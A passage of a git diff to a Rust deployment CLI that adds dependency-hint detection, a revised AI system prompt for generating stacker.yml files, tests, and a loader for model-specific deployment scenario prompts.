+            PipeHintConfidence::Medium,
+            webhook_evidence,
+        );
+    }
+
+    let mut postgres_evidence = Vec::new();
+    if compose.contains("postgres") {
+        postgres_evidence.push("compose references postgres".to_string());
+    }
+    if lower_env_keys
+        .iter()
+        .any(|k| k == "database_url" || k.contains("postgres"))
+    {
+        postgres_evidence.push("env keys reference postgres/database".to_string());
+    }
+    if !postgres_evidence.is_empty() {
+        push_hint(
+            "postgres",
+            "database",
+            PipeHintConfidence::High,
+            postgres_evidence,
+        );
+    }
+
+    let mut redis_evidence = Vec::new();
+    if compose.contains("redis") {
+        redis_evidence.push("compose references redis".to_string());
+    }
+    if lower_env_keys
+        .iter()
+        .any(|k| k == "redis_url" || k.contains("redis"))
+    {
+        redis_evidence.push("env keys reference redis".to_string());
+    }
+    if !redis_evidence.is_empty() {
+        push_hint(
+            "redis",
+            "cache-or-queue",
+            PipeHintConfidence::High,
+            redis_evidence,
+        );
+    }
+
+    let mut qdrant_evidence = Vec::new();
+    if compose.contains("qdrant") {
+        qdrant_evidence.push("compose references qdrant".to_string());
+    }
+    if lower_env_keys.iter().any(|k| k.contains("qdrant")) {
+        qdrant_evidence.push("env keys reference qdrant".to_string());
+    }
+    if !qdrant_evidence.is_empty() {
+        push_hint(
+            "qdrant",
+            "vector-store",
+            PipeHintConfidence::High,
+            qdrant_evidence,
+        );
+    }
+
+    let mut llm_evidence = Vec::new();
+    if package_json.contains("openai")
+        || requirements.contains("openai")
+        || pyproject.contains("openai")
+    {
+        llm_evidence.push("OpenAI dependency detected".to_string());
+    }
+    if package_json.contains("anthropic")
+        || requirements.contains("anthropic")
+        || pyproject.contains("anthropic")
+    {
+        llm_evidence.push("Anthropic dependency detected".to_string());
+    }
+    if compose.contains("ollama") || lower_env_keys.iter().any(|k| k.contains("ollama")) {
+        llm_evidence.push("local Ollama usage detected".to_string());
+    }
+    if !llm_evidence.is_empty() {
+        push_hint(
+            "llm-provider",
+            "ai-provider",
+            PipeHintConfidence::Medium,
+            llm_evidence,
+        );
+    }
+
+    let mut frontend_api_evidence = Vec::new();
+    let looks_like_frontend = detected_app_type == "node"
+        && root_files.iter().any(|f| {
+            f == "next.config.js"
+                || f == "next.config.mjs"
+                || f == "vite.config.ts"
+                || f == "vite.config.js"
+        });
+    if looks_like_frontend {
+        frontend_api_evidence.push("frontend framework config detected".to_string());
+    }
+    if lower_env_keys
+        .iter()
+        .any(|k| k.contains("api_url") || k.contains("api_base") || k.contains("backend_url"))
+    {
+        frontend_api_evidence.push("env keys reference backend/api URL".to_string());
+    }
+    if !frontend_api_evidence.is_empty() {
+        push_hint(
+            "backend-api",
+            "http-api",
+            PipeHintConfidence::Medium,
+            frontend_api_evidence,
+        );
+    }
+
+    hints
+}
+
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // AI prompt building for stacker.yml generation
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 
 /// System prompt that instructs the AI how to generate stacker.yml.
 const SYSTEM_PROMPT: &str = "\
-You are an expert DevOps engineer integrated into the `stacker` CLI tool. \
-Your job is to generate a complete, production-ready `stacker.yml` configuration \
-based on the project files and context provided.
+You are an expert DevOps engineer. Generate a `stacker.yml` configuration file.
+
+IMPORTANT: You are generating stacker.yml, NOT docker-compose.yml.
+- stacker.yml has top-level keys: `name:`, `app:`, `services:`, `proxy:`, `deploy:`, `monitoring:`
+- docker-compose has top-level keys: `version:`, `services:`, `networks:`, `volumes:`
+- DO NOT output docker-compose format. DO NOT include `version:`, top-level `networks:`, or top-level `volumes:`.
+- Convert any docker-compose you see into stacker.yml format: the main app goes in `app:`, infra databases go in `services:`.
 
-The `stacker.yml` schema supports these top-level keys:
+CORRECT example of a stacker.yml with a public image:
+---
+name: myapp
+deploy:
+  target: local
+app:
+  type: custom
+  image: myapp/myapp:latest
+  ports:
+    - \"8080:8080\"
+  environment:
+    APP_PORT: \"8080\"
+services:
+  - name: postgres
+    image: postgres:16-alpine
+    ports:
+      - \"127.0.0.1:5432:5432\"
+    environment:
+      POSTGRES_PASSWORD: \"${DB_PASSWORD}\"
+    healthcheck:
+      test: \"CMD-SHELL pg_isready -U postgres\"
+      interval: 5s
+      timeout: 2s
+      retries: 10
+---
+
+stacker.yml schema:
 - name: (string, required) Project name
 - version: (string) Version label
 - app: Application source config
   - type: static|node|python|rust|go|php|custom
   - path: Source directory (default '.')
-  - dockerfile: Path to custom Dockerfile
-  - image: Pre-built Docker image
+  - image: Pre-built Docker image (preferred when available)
+  - dockerfile: Path to custom Dockerfile (only when no public image exists)
   - build: { context: '.', args: { KEY: VALUE } }
-- services: Array of sidecar containers
-  - name, image, ports[], environment{}, volumes[], depends_on[]
-- proxy: Reverse proxy config
-  - type: nginx|nginx-proxy-manager|traefik|none
-  - auto_detect: bool
-  - domains: [{ domain, ssl: auto|manual|off, upstream }]
-- deploy:
-  - target: local|cloud|server
-  - cloud: { provider: hetzner|digitalocean|aws|linode|vultr, orchestrator: local|remote, region, size, ssh_key }
-  - server: { host (REQUIRED), user (default 'root'), port (default 22), ssh_key }
-  - registry: { username, password, server } — Docker registry credentials for private images
-  - compose_file: path to existing docker-compose (skips generation)
+  - ports: [\"host:container\"] port mappings
+  - volumes: [\"./host:/container\"] volume mounts
+  - environment: { KEY: VALUE } env vars
+  - command: Override the container CMD
+  - healthcheck: { test, interval, timeout, retries }
+- services: Array of INFRASTRUCTURE containers ONLY (never the main app)
+  - name, image (REQUIRED), ports[], environment{}, volumes[], depends_on[], healthcheck
+- proxy: { type: nginx|nginx-proxy-manager|traefik|none, auto_detect: bool, domains: [...] }
+- deploy: { target: local|cloud|server, compose_file, cloud: {...}, server: {...} }
 - monitoring: { status_panel: bool, healthcheck: { endpoint, interval }, metrics: { enabled, telegraf } }
-- hooks: { pre_build, post_deploy, on_failure } (paths to scripts)
+- hooks: { pre_build, post_deploy, on_failure }
 - env_file: Path to .env file
-- env: { KEY: VALUE } inline environment variables
+- env: { KEY: VALUE }
+- install: { inputs: { commonDomain: example.com } }
+- config_contract: { services: { name: { required: [VAR], secret: [VAR] } } }
 
 Rules:
-1. Output ONLY valid YAML — no markdown fences, no explanations, no comments except brief inline ones.
-2. Use ${VAR_NAME} syntax for secrets and sensitive values (DB passwords, API keys).
-3. Include appropriate services (databases, caches, queues) based on detected dependencies.
-4. Set proper port mappings avoiding conflicts.
-5. Add volumes for data persistence.
-6. Use depends_on for service ordering.
-7. Add healthcheck and monitoring when appropriate.
-8. If a Dockerfile already exists, set app.type to 'custom' and reference it via app.dockerfile.
-9. If a docker-compose already exists, set deploy.compose_file to reference it.
-10. Keep the configuration practical and deployable — don't add services that aren't needed.";
+1. Output ONLY valid YAML — no markdown fences, no explanations, no comments.
+2. THE MAIN APPLICATION goes in the `app:` block with ALL its config:
+   ports, volumes, environment, command, healthcheck — NEVER put it in `services:`.
+   `services:` is ONLY for infrastructure: databases, caches, queues, proxies.
+3. Image selection (app block) — in priority order:
+   a. Prefer `app.image` when a public Docker image exists for this project
+      (check compose files and README for image references like owner/project:tag).
+   b. Use `app.dockerfile` only when NO public image exists and the project
+      needs a custom build (e.g. `build: .` in compose with no image).
+   c. NEVER set both image and dockerfile — they are mutually exclusive.
+   d. When using image, set app.type to 'custom'.
+4. Use ${VAR_NAME} syntax for secrets and sensitive values (DB passwords, API keys).
+5. Bind infrastructure service ports to 127.0.0.1 (e.g. 127.0.0.1:5432:5432)
+   unless the service needs to be accessed externally.
+6. Add healthchecks to infrastructure services:
+   - postgres: pg_isready -U postgres (interval 5s, timeout 2s, retries 10)
+   - redis: redis-cli ping (interval 5s, timeout 2s, retries 10)
+   - mysql/mariadb: mysqladmin ping -h localhost (interval 5s, timeout 2s, retries 10)
+   - mongo: mongosh --eval 'db.adminCommand(\"ping\")' (interval 5s, timeout 2s, retries 10)
+7. Add volumes for data persistence on infrastructure services.
+8. Use depends_on to order startup (app depends on infra services).
+9. Do NOT set deploy.compose_file unless the project has a complex multi-file
+   compose setup that cannot be expressed in stacker.yml.
+10. Detect env vars from compose files and documentation; include them in the
+    app.environment or service.environment blocks.
+11. Keep the config deployable: local target, no cloud config unless requested.
+12. Add monitoring.status_panel: true for production stacks.
+13. Set deploy.target: local by default — this is a local development config.";
 
 /// Expose the system prompt used for AI-based stacker.yml generation.
 pub fn generation_system_prompt() -> &'static str {
@@ -256,6 +519,28 @@ pub fn build_generation_prompt(scan: &ProjectScanResult) -> String {
         sections.push(format!("--- Existing docker-compose ---\n{}", dc));
     }
 
+    if !scan.pipe_hints.is_empty() {
+        let formatted = scan
+            .pipe_hints
+            .iter()
+            .map(|hint| {
+                format!(
+                    "- {} -> {} [{}] confidence={} evidence={}",
+                    hint.source,
+                    hint.target,
+                    hint.kind,
+                    hint.confidence.as_str(),
+                    hint.evidence.join("; ")
+                )
+            })
+            .collect::<Vec<_>>()
+            .join("\n");
+        sections.push(format!(
+            "Potential local pipe / integration hints (advisory, not runtime-verified):\n{}",
+            formatted
+        ));
+    }
+
     sections.push(
         "Generate a complete stacker.yml for this project. Output ONLY valid YAML.".to_string(),
     );
@@ -304,14 +589,12 @@ pub fn generate_config_with_ai_impl(
 
     // Validate that it's parseable YAML (but don't require it to be a valid StackerConfig
     // yet — the caller will do from_str() and report detailed errors)
-    serde_yaml::from_str::<serde_yaml::Value>(&yaml).map_err(|e| {
-        CliError::AiProviderError {
-            provider: provider.name().to_string(),
-            message: format!(
-                "AI generated invalid YAML: {}. Raw response:\n{}",
-                e, raw_response
-            ),
-        }
+    serde_yaml::from_str::<serde_yaml::Value>(&yaml).map_err(|e| CliError::AiProviderError {
+        provider: provider.name().to_string(),
+        message: format!(
+            "AI generated invalid YAML: {}. Raw response:\n{}",
+            e, raw_response
+        ),
     })?;
 
     Ok(yaml)
@@ -323,19 +606,11 @@ pub fn strip_code_fences(text: &str) -> String {
     let trimmed = text.trim();
 
     // Check for opening fence
-    let without_open = if trimmed.starts_with("```yaml")
-        || trimmed.starts_with("```yml")
-    {
+    let without_open = if trimmed.starts_with("```yaml") || trimmed.starts_with("```yml") {
         // Remove opening fence line
-        trimmed
-            .splitn(2, '\n')
-            .nth(1)
-            .unwrap_or(trimmed)
+        trimmed.splitn(2, '\n').nth(1).unwrap_or(trimmed)
     } else if trimmed.starts_with("```") {
-        trimmed
-            .splitn(2, '\n')
-            .nth(1)
-            .unwrap_or(trimmed)
+        trimmed.splitn(2, '\n').nth(1).unwrap_or(trimmed)
     } else {
         return trimmed.to_string();
     };
@@ -385,6 +660,13 @@ mod tests {
         fn list_dir(&self, _path: &Path) -> Result<Vec<String>, std::io::Error> {
             Ok(self.files.clone())
         }
+
+        fn read_to_string(&self, _path: &Path) -> Result<String, std::io::Error> {
+            Err(std::io::Error::new(
+                std::io::ErrorKind::Unsupported,
+                "read_to_string not used in ai_scanner tests",
+            ))
+        }
     }
 
     // ── Mock AI provider ────────────────────────────
@@ -485,6 +767,46 @@ mod tests {
         assert!(result.file_contents.is_empty());
     }
 
+    #[test]
+    fn test_discover_local_pipe_hints_from_env_and_compose() {
+        let mut file_contents = HashMap::new();
+        file_contents.insert(
+            "docker-compose.yml".to_string(),
+            "services:\n  postgres:\n    image: postgres:16\n  redis:\n    image: redis:7\n"
+                .to_string(),
+        );
+
+        let hints = discover_local_pipe_hints(
+            "openclaw-app",
+            "node".to_string(),
+            &["docker-compose.yml".to_string()],
+            &file_contents,
+            &["DATABASE_URL".to_string(), "REDIS_URL".to_string()],
+        );
+
+        assert!(hints
+            .iter()
+            .any(|h| h.target == "postgres" && h.kind == "database"));
+        assert!(hints
+            .iter()
+            .any(|h| h.target == "redis" && h.kind == "cache-or-queue"));
+    }
+
+    #[test]
+    fn test_discover_local_pipe_hints_for_frontend_api() {
+        let hints = discover_local_pipe_hints(
+            "frontend-app",
+            "node".to_string(),
+            &["next.config.js".to_string()],
+            &HashMap::new(),
+            &["NEXT_PUBLIC_API_URL".to_string()],
+        );
+
+        assert!(hints
+            .iter()
+            .any(|h| h.target == "backend-api" && h.kind == "http-api"));
+    }
+
     // ── build_generation_prompt ─────────────────────
 
     #[test]
@@ -576,6 +898,26 @@ mod tests {
         assert!(prompt.contains("express"));
     }
 
+    #[test]
+    fn test_prompt_includes_pipe_hints() {
+        let scan = ProjectScanResult {
+            project_name: "openclaw-app".to_string(),
+            pipe_hints: vec![PipeHint {
+                source: "openclaw-app".to_string(),
+                target: "postgres".to_string(),
+                kind: "database".to_string(),
+                confidence: PipeHintConfidence::High,
+                evidence: vec!["env keys reference postgres/database".to_string()],
+            }],
+            ..Default::default()
+        };
+
+        let prompt = build_generation_prompt(&scan);
+        assert!(prompt.contains("Potential local pipe / integration hints"));
+        assert!(prompt.contains("openclaw-app -> postgres [database]"));
+        assert!(prompt.contains("confidence=high"));
+    }
+
     // ── generate_config_with_ai_impl ────────────────
 
     #[test]
@@ -695,7 +1037,10 @@ env:
         assert_eq!(config.services.len(), 2);
         assert_eq!(config.services[0].name, "postgres");
         assert_eq!(config.services[1].name, "redis");
-        assert_eq!(config.proxy.proxy_type, crate::cli::config_parser::ProxyType::Nginx);
+        assert_eq!(
+            config.proxy.proxy_type,
+            crate::cli::config_parser::ProxyType::Nginx
+        );
         assert!(config.monitoring.status_panel);
     }
 
diff --git a/src/cli/ai_scenarios.rs b/src/cli/ai_scenarios.rs
new file mode 100644
index 00000000..153296bf
--- /dev/null
+++ b/src/cli/ai_scenarios.rs
@@ -0,0 +1,833 @@
+use std::collections::BTreeMap;
+use std::path::{Path, PathBuf};
+use std::process::Command;
+
+use serde::{Deserialize, Serialize};
+
+use crate::cli::config_parser::{AiConfig, AiProviderType, AppType, StackerConfig};
+use crate::cli::error::CliError;
+
+pub const WEBSITE_DEPLOY_SCENARIO: &str = "website-deploy";
+macro_rules! ai_model_str {
+    () => {
+        "qwen2.5-coder"
+    };
+}
+
+pub const AI_MODEL: &str = ai_model_str!();
+const SCENARIO_PROVIDER_DIR: &str = AI_MODEL;
+
+const WEBSITE_DEPLOY_MANIFEST: &str = include_str!(concat!(
+    env!("CARGO_MANIFEST_DIR"),
+    "/scenarios/",
+    ai_model_str!(),
+    "/website-deploy/scenario.yaml"
+));
+const WEBSITE_DEPLOY_STEP_INIT_VALIDATE: &str = include_str!(concat!(
+    env!("CARGO_MANIFEST_DIR"),
+    "/scenarios/",
+    ai_model_str!(),
+    "/website-deploy/steps/01-init-validate.md"
+));
+const WEBSITE_DEPLOY_STEP_IMAGE_PUBLISH: &str = include_str!(concat!(
+    env!("CARGO_MANIFEST_DIR"),
+    "/scenarios/",
+    ai_model_str!(),
+    "/website-deploy/steps/02-image-publish.md"
+));
+const WEBSITE_DEPLOY_STEP_CLOUD_DEPLOY: &str = include_str!(concat!(
+    env!("CARGO_MANIFEST_DIR"),
+    "/scenarios/",
+    ai_model_str!(),
+    "/website-deploy/steps/03-cloud-deploy.md"
+));
+const WEBSITE_DEPLOY_STEP_AGENT_PROXY: &str = include_str!(concat!(
+    env!("CARGO_MANIFEST_DIR"),
+    "/scenarios/",
+    ai_model_str!(),
+    "/website-deploy/steps/04-agent-firewall-dns-proxy.md"
+));
+const WEBSITE_DEPLOY_STEP_RUNTIME_OPS: &str = include_str!(concat!(
+    env!("CARGO_MANIFEST_DIR"),
+    "/scenarios/",
+    ai_model_str!(),
+    "/website-deploy/steps/05-runtime-ops.md"
+));
+
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct ScenarioSelection {
+    pub name: String,
+    pub step: Option<String>,
+}
+
+impl ScenarioSelection {
+    pub fn new(name: impl Into<String>, step: Option<String>) -> Self {
+        Self {
+            name: name.into(),
+            step,
+        }
+    }
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+pub struct ScenarioManifest {
+    pub name: String,
+    pub description: String,
+    pub model_match: ScenarioModelMatch,
+    pub trigger_conditions: ScenarioTriggerConditions,
+    pub default_step: String,
+    pub required_vars: Vec<String>,
+    pub transcript_rules: ScenarioTranscriptRules,
+    pub safety_rules: Vec<String>,
+    pub steps: Vec<ScenarioStep>,
+}
+
+impl ScenarioManifest {
+    pub fn step(&self, step_id: &str) -> Option<&ScenarioStep> {
+        self.steps.iter().find(|step| step.id == step_id)
+    }
+
+    pub fn next_step_after(&self, step_id: &str) -> Option<String> {
+        let index = self.steps.iter().position(|step| step.id == step_id)?;
+        self.steps.get(index + 1).map(|step| step.id.clone())
+    }
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+pub struct ScenarioModelMatch {
+    pub provider: String,
+    pub name_contains: Vec<String>,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+pub struct ScenarioTriggerConditions {
+    pub app_types: Vec<String>,
+    pub website_kinds: Vec<String>,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+pub struct ScenarioTranscriptRules {
+    pub default_path: String,
+    pub update_existing: bool,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+pub struct ScenarioStep {
+    pub id: String,
+    pub title: String,
+    pub file: String,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+pub struct ScenarioState {
+    pub scenario_name: String,
+    pub current_step: String,
+    #[serde(default)]
+    pub vars: BTreeMap<String, String>,
+}
+
+impl ScenarioState {
+    pub fn new(scenario_name: impl Into<String>, current_step: impl Into<String>) -> Self {
+        Self {
+            scenario_name: scenario_name.into(),
+            current_step: current_step.into(),
+            vars: BTreeMap::new(),
+        }
+    }
+}
+
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub enum WebsiteProjectKind {
+    Html,
+    NextJs,
+}
+
+impl WebsiteProjectKind {
+    pub fn as_str(&self) -> &'static str {
+        match self {
+            Self::Html => "html",
+            Self::NextJs => "nextjs",
+        }
+    }
+
+    pub fn display_name(&self) -> &'static str {
+        match self {
+            Self::Html => "HTML/static website",
+            Self::NextJs => "Next.js website",
+        }
+    }
+}
+
+#[derive(Debug, Clone)]
+pub struct ScenarioPromptContext {
+    pub manifest: ScenarioManifest,
+    pub step_id: String,
+    pub step_title: String,
+    pub next_step_id: Option<String>,
+    pub rendered_prompt: String,
+    pub state: Option<ScenarioState>,
+}
+
+pub fn is_qwen_website_scenario_model(ai_config: &AiConfig) -> bool {
+    if ai_config.provider != AiProviderType::Ollama {
+        return false;
+    }
+
+    ai_config
+        .model
+        .as_deref()
+        .map(|model| {
+            let normalized = model.to_ascii_lowercase();
+            normalized.contains(AI_MODEL) || normalized.contains("qwen2.5-coder")
+        })
+        .unwrap_or(false)
+}
+
+pub fn detect_website_project_kind(
+    project_dir: &Path,
+    config: &StackerConfig,
+) -> Option<WebsiteProjectKind> {
+    match config.app.app_type {
+        AppType::Static => Some(WebsiteProjectKind::Html),
+        AppType::Node => {
+            if has_nextjs_markers(project_dir) {
+                Some(WebsiteProjectKind::NextJs)
+            } else {
+                None
+            }
+        }
+        _ => None,
+    }
+}
+
+pub fn load_scenario_manifest(
+    project_dir: &Path,
+    scenario_name: &str,
+) -> Result<ScenarioManifest, CliError> {
+    let local_manifest_path = local_scenario_dir(project_dir, scenario_name).join("scenario.yaml");
+    let manifest_text = if local_manifest_path.exists() {
+        std::fs::read_to_string(&local_manifest_path)?
+    } else {
+        builtin_manifest_text(scenario_name)?.to_string()
+    };
+
+    serde_yaml::from_str(&manifest_text).map_err(|error| {
+        CliError::ConfigValidation(format!(
+            "Failed to parse AI scenario manifest '{}': {}",
+            scenario_name, error
+        ))
+    })
+}
+
+pub fn missing_required_vars(manifest: &ScenarioManifest, state: &ScenarioState) -> Vec<String> {
+    manifest
+        .required_vars
+        .iter()
+        .filter(|key| {
+            state
+                .vars
+                .get((*key).as_str())
+                .map(|value| value.trim().is_empty())
+                .unwrap_or(true)
+        })
+        .cloned()
+        .collect()
+}
+
+pub fn scenario_state_path(project_dir: &Path, scenario_name: &str) -> PathBuf {
+    local_scenario_dir(project_dir, scenario_name).join("state.json")
+}
+
+pub fn load_scenario_state(
+    project_dir: &Path,
+    scenario_name: &str,
+) -> Result<Option<ScenarioState>, CliError> {
+    let state_path = scenario_state_path(project_dir, scenario_name);
+    if !state_path.exists() {
+        return Ok(None);
+    }
+
+    let contents = std::fs::read_to_string(&state_path)?;
+    let state = serde_json::from_str(&contents).map_err(|error| {
+        CliError::ConfigValidation(format!(
+            "Failed to parse AI scenario state '{}': {}",
+            state_path.display(),
+            error
+        ))
+    })?;
+
+    Ok(Some(state))
+}
+
+pub fn save_scenario_state(project_dir: &Path, state: &ScenarioState) -> Result<PathBuf, CliError> {
+    let state_path = scenario_state_path(project_dir, &state.scenario_name);
+    if let Some(parent) = state_path.parent() {
+        std::fs::create_dir_all(parent)?;
+    }
+
+    let content = serde_json::to_string_pretty(state).map_err(|error| {
+        CliError::ConfigValidation(format!("Failed to serialize AI scenario state: {}", error))
+    })?;
+    std::fs::write(&state_path, content)?;
+
+    Ok(state_path)
+}
+
+pub fn seed_website_scenario_state(
+    project_dir: &Path,
+    config_path: &Path,
+    config: &StackerConfig,
+    ai_config: &AiConfig,
+    project_kind: &WebsiteProjectKind,
+) -> ScenarioState {
+    let mut state = ScenarioState::new(WEBSITE_DEPLOY_SCENARIO, "init-validate");
+
+    insert_var(&mut state.vars, "project_name", Some(config.name.clone()));
+    insert_var(
+        &mut state.vars,
+        "project_identity",
+        config.project.identity.clone(),
+    );
+    insert_var(
+        &mut state.vars,
+        "project_kind",
+        Some(project_kind.display_name().to_string()),
+    );
+    insert_var(
+        &mut state.vars,
+        "app_type",
+        Some(config.app.app_type.to_string()),
+    );
+    insert_var(
+        &mut state.vars,
+        "app_path",
+        Some(config.app.path.to_string_lossy().to_string()),
+    );
+    insert_var(
+        &mut state.vars,
+        "config_path",
+        Some(
+            config_path
+                .file_name()
+                .map(|name| name.to_string_lossy().to_string())
+                .unwrap_or_else(|| "stacker.yml".to_string()),
+        ),
+    );
+    insert_var(
+        &mut state.vars,
+        "compose_file",
+        config
+            .deploy
+            .compose_file
+            .as_ref()
+            .map(|path| path.to_string_lossy().to_string()),
+    );
+    insert_var(
+        &mut state.vars,
+        "proxy_type",
+        (config.proxy.proxy_type != crate::cli::config_parser::ProxyType::None)
+            .then(|| config.proxy.proxy_type.to_string()),
+    );
+    insert_var(
+        &mut state.vars,
+        "status_panel_enabled",
+        Some(config.monitoring.status_panel.to_string()),
+    );
+    insert_var(
+        &mut state.vars,
+        "ai_provider",
+        Some(ai_config.provider.to_string()),
+    );
+    insert_var(&mut state.vars, "ai_model", ai_config.model.clone());
+    insert_var(&mut state.vars, "ai_endpoint", ai_config.endpoint.clone());
+    insert_var(
+        &mut state.vars,
+        "repo_url",
+        detect_git_remote_url(project_dir),
+    );
+
+    if let Some(domain) = primary_public_domain(config) {
+        insert_var(&mut state.vars, "public_domain", Some(domain));
+    }
+
+    if let Some(image) = &config.app.image {
+        let (repository, tag) = split_image_reference(image);
+        insert_var(&mut state.vars, "image_repository", Some(repository));
+        insert_var(&mut state.vars, "image_tag", tag);
+    } else if let Some(repo_url) = state.vars.get("repo_url").cloned() {
+        insert_var(
+            &mut state.vars,
+            "image_repository",
+            derive_image_repository_from_repo_url(&repo_url),
+        );
+    }
+
+    if let Some(cloud) = &config.deploy.cloud {
+        insert_var(
+            &mut state.vars,
+            "cloud_provider",
+            Some(cloud.provider.to_string()),
+        );
+        insert_var(&mut state.vars, "cloud_region", cloud.region.clone());
+        insert_var(&mut state.vars, "cloud_size", cloud.size.clone());
+    }
+
+    state
+}
+
+pub fn load_scenario_prompt_context(
+    project_dir: &Path,
+    ai_config: &AiConfig,
+    selection: &ScenarioSelection,
+) -> Result<ScenarioPromptContext, CliError> {
+    let manifest = load_scenario_manifest(project_dir, &selection.name)?;
+    ensure_model_matches(ai_config, &manifest)?;
+
+    let state = load_scenario_state(project_dir, &selection.name)?;
+    let step_id = selection
+        .step
+        .clone()
+        .or_else(|| {
+            state
+                .as_ref()
+                .map(|saved| saved.current_step.clone())
+                .filter(|step| !step.trim().is_empty())
+        })
+        .unwrap_or_else(|| manifest.default_step.clone());
+    let step = manifest.step(&step_id).cloned().ok_or_else(|| {
+        CliError::ConfigValidation(format!(
+            "Unknown AI scenario step '{}' for scenario '{}'",
+            step_id, manifest.name
+        ))
+    })?;
+    let step_markdown = load_step_markdown(project_dir, &manifest, &step)?;
+    let vars_yaml = state
+        .as_ref()
+        .map(|saved| scenario_vars_yaml(&saved.vars))
+        .unwrap_or_else(|| "(none saved yet)".to_string());
+    let next_step_id = manifest.next_step_after(&step_id);
+    let safety_rules = manifest
+        .safety_rules
+        .iter()
+        .map(|rule| format!("- {}", rule))
+        .collect::<Vec<_>>()
+        .join("\n");
+    let rendered_prompt = format!(
+        "## Active deployment scenario\n\
+Scenario: {scenario}\n\
+Description: {description}\n\
+Current step: {step_id} — {step_title}\n\
+Next step hint: {next_step}\n\
+Transcript path: {transcript}\n\
+\n\
+Scenario variables:\n\
+```yaml\n\
+{vars_yaml}\n\
+```\n\
+\n\
+Safety rules:\n\
+{safety_rules}\n\
+\n\
+Step instructions:\n\
+{step_markdown}",
+        scenario = manifest.name,
+        description = manifest.description,
+        step_id = step.id,
+        step_title = step.title,
+        next_step = next_step_id
+            .clone()
+            .unwrap_or_else(|| "(this is the final built-in step)".to_string()),
+        transcript = manifest.transcript_rules.default_path,
+    );
+
+    Ok(ScenarioPromptContext {
+        manifest,
+        step_id,
+        step_title: step.title.clone(),
+        next_step_id,
+        rendered_prompt,
+        state,
+    })
+}
+
+pub fn next_step_id(
+    project_dir: &Path,
+    scenario_name: &str,
+    current_step: &str,
+) -> Result<Option<String>, CliError> {
+    let manifest = load_scenario_manifest(project_dir, scenario_name)?;
+    Ok(manifest.next_step_after(current_step))
+}
+
+fn ensure_model_matches(ai_config: &AiConfig, manifest: &ScenarioManifest) -> Result<(), CliError> {
+    let provider_matches = ai_config.provider.to_string() == manifest.model_match.provider;
+    let model_matches = ai_config
+        .model
+        .as_deref()
+        .map(|model| {
+            let normalized = model.to_ascii_lowercase();
+            manifest
+                .model_match
+                .name_contains
+                .iter()
+                .any(|needle| normalized.contains(&needle.to_ascii_lowercase()))
+        })
+        .unwrap_or(false);
+
+    if provider_matches && model_matches {
+        Ok(())
+    } else {
+        Err(CliError::ConfigValidation(format!(
+            "Scenario '{}' requires {} models containing one of: {}",
+            manifest.name,
+            manifest.model_match.provider,
+            manifest.model_match.name_contains.join(", ")
+        )))
+    }
+}
+
+fn has_nextjs_markers(project_dir: &Path) -> bool {
+    let direct_markers = [
+        "next.config.js",
+        "next.config.mjs",
+        "next.config.ts",
+        "src/app/page.tsx",
+        "src/app/page.jsx",
+        "src/pages/index.tsx",
+        "src/pages/index.jsx",
+        "pages/index.tsx",
+        "pages/index.jsx",
+    ];
+    if direct_markers
+        .iter()
+        .any(|path| project_dir.join(path).exists())
+    {
+        return true;
+    }
+
+    let package_json_path = project_dir.join("package.json");
+    let package_json = match std::fs::read_to_string(package_json_path) {
+        Ok(content) => content,
+        Err(_) => return false,
+    };
+    let parsed: serde_json::Value = match serde_json::from_str(&package_json) {
+        Ok(value) => value,
+        Err(_) => return false,
+    };
+
+    let has_next_dependency = parsed["dependencies"].get("next").is_some()
+        || parsed["devDependencies"].get("next").is_some();
+    let has_next_script = parsed["scripts"]
+        .as_object()
+        .map(|scripts| {
+            scripts.values().any(|value| {
+                value
+                    .as_str()
+                    .map(|script| script.contains("next "))
+                    .unwrap_or(false)
+            })
+        })
+        .unwrap_or(false);
+
+    has_next_dependency || has_next_script
+}
+
+fn local_scenario_dir(project_dir: &Path, scenario_name: &str) -> PathBuf {
+    project_dir
+        .join(".stacker")
+        .join("scenarios")
+        .join(SCENARIO_PROVIDER_DIR)
+        .join(scenario_name)
+}
+
+fn builtin_manifest_text(scenario_name: &str) -> Result<&'static str, CliError> {
+    match scenario_name {
+        WEBSITE_DEPLOY_SCENARIO => Ok(WEBSITE_DEPLOY_MANIFEST),
+        other => Err(CliError::ConfigValidation(format!(
+            "Unknown built-in AI scenario '{}'",
+            other
+        ))),
+    }
+}
+
+fn builtin_step_markdown(scenario_name: &str, file: &str) -> Result<&'static str, CliError> {
+    match (scenario_name, file) {
+        (WEBSITE_DEPLOY_SCENARIO, "steps/01-init-validate.md") => {
+            Ok(WEBSITE_DEPLOY_STEP_INIT_VALIDATE)
+        }
+        (WEBSITE_DEPLOY_SCENARIO, "steps/02-image-publish.md") => {
+            Ok(WEBSITE_DEPLOY_STEP_IMAGE_PUBLISH)
+        }
+        (WEBSITE_DEPLOY_SCENARIO, "steps/03-cloud-deploy.md") => {
+            Ok(WEBSITE_DEPLOY_STEP_CLOUD_DEPLOY)
+        }
+        (WEBSITE_DEPLOY_SCENARIO, "steps/04-agent-firewall-dns-proxy.md") => {
+            Ok(WEBSITE_DEPLOY_STEP_AGENT_PROXY)
+        }
+        (WEBSITE_DEPLOY_SCENARIO, "steps/05-runtime-ops.md") => Ok(WEBSITE_DEPLOY_STEP_RUNTIME_OPS),
+        _ => Err(CliError::ConfigValidation(format!(
+            "Unknown built-in AI scenario step file '{}'",
+            file
+        ))),
+    }
+}
+
+fn load_step_markdown(
+    project_dir: &Path,
+    manifest: &ScenarioManifest,
+    step: &ScenarioStep,
+) -> Result<String, CliError> {
+    let local_path = local_scenario_dir(project_dir, &manifest.name).join(&step.file);
+    if local_path.exists() {
+        return Ok(std::fs::read_to_string(local_path)?);
+    }
+
+    Ok(builtin_step_markdown(&manifest.name, &step.file)?.to_string())
+}
+
+fn insert_var(vars: &mut BTreeMap<String, String>, key: &str, value: Option<String>) {
